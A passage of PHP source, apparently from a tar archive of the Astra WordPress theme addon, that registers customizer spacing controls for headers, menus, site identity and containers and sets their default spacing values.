Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Below_Header_Spacing_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Below Header Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option - Below Header Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[below-header-spacing]', 'default' => astra_get_option( 'below-header-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-below-header', 'priority' => 155, 'title' => __( 'Header Space', 'astra-addon' ), 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-layout]', 'operator' => '!=', 'value' => 'disabled', ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option - Below Header Menu Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[below-header-menu-spacing]', 'default' => astra_get_option( 'below-header-menu-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-below-header', 'priority' => 160, 'title' => __( 'Menu Space', 'astra-addon' ), 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), 'context' => array( 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-layout]', 'operator' => '!=', 'value' => 'disabled', ), array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option - Below Header Subenu Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[below-header-submenu-spacing]', 'default' => astra_get_option( 'below-header-submenu-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-below-header', 'priority' => 165, 'title' => __( 'Submenu Space', 'astra-addon' ), 'context' => array( 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-layout]', 'operator' => '!=', 'value' => 'disabled', ), array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Below_Header_Spacing_Configs(); sections/class-astra-customizer-site-identity-spacing-configs.php 0000666 00000011026 15165654736 0021412 0 ustar 00 <?php /** * Site Identity Spacing Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Site_Identity_Spacing_Configs' ) ) { /** * Register Site Identity Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Site_Identity_Spacing_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Site Identity Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[divider-section-site-identity-spacing]', 'type' => 'control', 'control' => 'ast-heading', 'section' => 'title_tagline', 'title' => __( 'Spacing', 'astra-addon' ), 'context' => array( 'relation' => 'AND', astra_addon_builder_helper()->general_tab_config, array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[display-site-title-responsive]', 'setting-key' => 'desktop', 'operator' => '!=', 'value' => 0, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[display-site-title-responsive]', 'setting-key' => 'tablet', 'operator' => '!=', 'value' => 0, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[display-site-title-responsive]', 'setting-key' => 'mobile', 'operator' => '!=', 'value' => 0, ), array( 'setting' => 'custom_logo', 'operator' => '!=', 'value' => '', ), ), ), 'priority' => 50, 'settings' => array(), ), /** * Option - Header Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[site-identity-spacing]', 'default' => astra_get_option( 'site-identity-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'title_tagline', 'priority' => 50, 'title' => __( 'Site Identity Space', 'astra-addon' ), 'context' => array( 'relation' => 'AND', astra_addon_builder_helper()->general_tab_config, array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[display-site-title-responsive]', 'setting-key' => 'desktop', 'operator' => '!=', 'value' => 0, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[display-site-title-responsive]', 'setting-key' => 'tablet', 'operator' => '!=', 'value' => 0, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[display-site-title-responsive]', 'setting-key' => 'mobile', 'operator' => '!=', 'value' => 0, ), array( 'setting' => 'custom_logo', 'operator' => '!=', 'value' => '', ), ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Site_Identity_Spacing_Configs(); sections/class-astra-customizer-header-builder-menu-configs.php 0000666 00000027000 15165654736 0021012 0 ustar 00 <?php /** * Content Spacing Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Header_Builder_Menu_Configs' ) ) { /** * Register Content Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Header_Builder_Menu_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Content Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $html_config = array(); $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { $_section = 'section-hb-menu-' . $index; $_prefix = 'menu' . $index; $_configs = array( // Option - Primary Sub Menu Space. array( 'name' => ASTRA_THEME_SETTINGS . '[header-' . $_prefix . '-submenu-spacing]', 'default' => astra_get_option( 'header-' . $_prefix . '-submenu-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => $_section, 'priority' => 160, 'title' => __( 'Submenu', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), ); $html_config[] = $_configs; if ( 3 > $index ) { $_configs = array( // Option - Megamenu Heading Space. array( 'name' => ASTRA_THEME_SETTINGS . '[header-' . $_prefix . '-megamenu-heading-space]', 'default' => astra_get_option( 'header-' . $_prefix . '-megamenu-heading-space' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'priority' => 170, 'title' => __( 'Megamenu Heading', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'section' => $_section, 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), ); $html_config[] = $_configs; } } $html_config[] = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[section-hb-language-switcher-item-spacing-divider]', 'section' => 'section-hb-language-switcher', 'title' => __( 'Spacing', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 320, 'settings' => array(), 'context' => astra_addon_builder_helper()->design_tab, ), /** * Option: Item Spacing */ array( 'name' => ASTRA_THEME_SETTINGS . '[section-hb-language-switcher-item-spacing]', 'default' => astra_get_option( 'section-hb-language-switcher-item-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'section' => 'section-hb-language-switcher', 'priority' => 320, 'title' => __( 'Item Spacing', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'divider' => array( 'ast_class' => 'ast-bottom-section-divider ast-section-spacing' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->design_tab, ), /** * Option: Margin Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[section-hb-language-switcher-margin]', 'default' => astra_get_option( 'section-hb-language-switcher-margin' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'section' => 'section-hb-language-switcher', 'priority' => 330, 'title' => __( 'Margin', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->design_tab, ), ); $html_config[] = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[section-fb-language-switcher-item-spacing-divider]', 'section' => 'section-fb-language-switcher', 'title' => __( 'Spacing', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 320, 'settings' => array(), 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /** * Option: Item Spacing */ array( 'name' => ASTRA_THEME_SETTINGS . '[section-fb-language-switcher-item-spacing]', 'default' => astra_get_option( 'section-fb-language-switcher-item-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'section' => 'section-fb-language-switcher', 'priority' => 320, 'title' => __( 'Item Spacing', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /** * Option: Margin Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[section-fb-language-switcher-margin]', 'default' => astra_get_option( 'section-fb-language-switcher-margin' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'section' => 'section-fb-language-switcher', 'priority' => 330, 'title' => __( 'Margin', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), ); /** * Mobile Menu - Spacing. */ $html_config[] = array( // Option - Primary Sub Menu Space. array( 'name' => ASTRA_THEME_SETTINGS . '[header-mobile-menu-submenu-spacing]', 'default' => astra_get_option( 'header-mobile-menu-submenu-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-header-mobile-menu', 'priority' => 160, 'title' => __( 'Submenu Spacing', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), ), // Option - Account Menu Space. array( 'name' => ASTRA_THEME_SETTINGS . '[header-account-menu-spacing]', 'default' => astra_get_option( 'header-account-menu-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-header-account', 'priority' => 510, 'title' => __( 'Menu Spacing', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'divider' => array( 'ast_class' => 'ast-bottom-section-divider ast-section-spacing' ), 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[header-account-action-type]', 'operator' => '==', 'value' => 'menu', ), astra_addon_builder_helper()->design_tab_config, ), ), ); $html_config = call_user_func_array( 'array_merge', $html_config + array( array() ) ); $configurations = array_merge( $configurations, $html_config ); return $configurations; } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Header_Builder_Menu_Configs(); sections/class-astra-customizer-above-header-spacing-configs.php 0000666 00000012662 15165654736 0021150 0 ustar 00 <?php /** * Above Header Spacing Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Above_Header_Spacing_Configs' ) ) { /** * Register Above Header Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Above_Header_Spacing_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Above Header Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option - Above Header Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[above-header-spacing]', 'default' => astra_get_option( 'above-header-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-above-header', 'priority' => 160, 'title' => __( 'Header Space', 'astra-addon' ), 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-layout]', 'operator' => '!=', 'value' => 'disabled', ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option - Above Header Menu Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[above-header-menu-spacing]', 'default' => astra_get_option( 'above-header-menu-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-above-header', 'priority' => 165, 'title' => __( 'Menu Space', 'astra-addon' ), 'context' => array( 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-layout]', 'operator' => '!=', 'value' => 'disabled', ), array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option - Above Header Submenu Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[above-header-submenu-spacing]', 'default' => astra_get_option( 'above-header-submenu-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-above-header', 'priority' => 170, 'title' => __( 'Submenu Space', 'astra-addon' ), 'context' => array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[above-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Above_Header_Spacing_Configs(); sections/class-astra-customizer-container-layout-spacing-configs.php 0000666 00000012445 15165654736 0022122 0 ustar 00 <?php /** * Content Spacing Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Container_Layout_Spacing_Configs' ) ) { /** * Register Content Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Container_Layout_Spacing_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Content Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[container-spacing-layout-divider]', 'section' => 'section-container-layout', 'title' => __( 'Container Spacing', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 90, 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, ), /** * Option - Content Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[container-outside-spacing]', 'default' => astra_get_option( 'container-outside-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-container-layout', 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, 'priority' => 95, 'title' => __( 'Outside', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option - Content Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[container-inside-spacing]', 'default' => astra_get_option( 'container-inside-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, 'transport' => 'postMessage', 'section' => 'section-container-layout', 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), 'priority' => 100, 'title' => __( 'Inside', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), ); if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { array_push( $_configs, /** * Option: Container Tabs */ array( 'name' => 'section-container-layout-ast-context-tabs', 'section' => 'section-container-layout', 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', ) ); } else { array_push( $_configs, /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[content-spacing-divider]', 'section' => 'section-container-layout', 'type' => 'control', 'control' => 'ast-heading', 'title' => __( 'Spacing', 'astra-addon' ), 'priority' => 90, 'settings' => array(), 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, ) ); } return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Container_Layout_Spacing_Configs(); class-astra-ext-spacing-loader.php 0000666 00000040541 15165654736 0013210 0 ustar 00 <?php /** * Spacing - Customizer. * * @package Astra * @since 1.2.0 */ if ( ! class_exists( 'Astra_Ext_Spacing_Loader' ) ) { /** * Customizer Initialization * * @since 1.2.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Spacing_Loader { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Member Variable * * @var instance */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_register', array( $this, 'new_customize_register' ), 2 ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ) ); add_action( 'body_class', array( $this, 'add_body_class' ) ); } /** * Set Options Default Values * * @param array $defaults Astra options default value array. * @return array */ public function theme_defaults( $defaults ) { $defaults['header-account-menu-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['container-outside-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '1.5', 'right' => '0', 'bottom' => '1.5', 'left' => '0', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'em', 'mobile-unit' => 'px', ); $defaults['container-inside-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '1.5', 'right' => '2.14', 'bottom' => '1.5', 'left' => '2.14', ), 'mobile' => array( 'top' => '1.5', 'right' => '1', 'bottom' => '1.5', 'left' => '1', ), 'desktop-unit' => 'px', 'tablet-unit' => 'em', 'mobile-unit' => 'em', ); $defaults['sidebar-outside-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '1.5', 'right' => '1', 'bottom' => '1.5', 'left' => '1', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'em', 'mobile-unit' => 'px', ); $defaults['sidebar-inside-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['blog-post-outside-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['blog-post-inside-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['blog-post-pagination-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['header-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '1.5', 'right' => '', 'bottom' => '1.5', 'left' => '', ), 'mobile' => array( 'top' => '1', 'right' => '', 'bottom' => '1', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'em', 'mobile-unit' => 'em', ); $defaults['sticky-header-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['footer-sml-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '2', 'right' => '', 'bottom' => '2', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'em', 'mobile-unit' => 'px', ); $defaults['primary-menu-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '20', 'bottom' => '0', 'left' => '20', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); 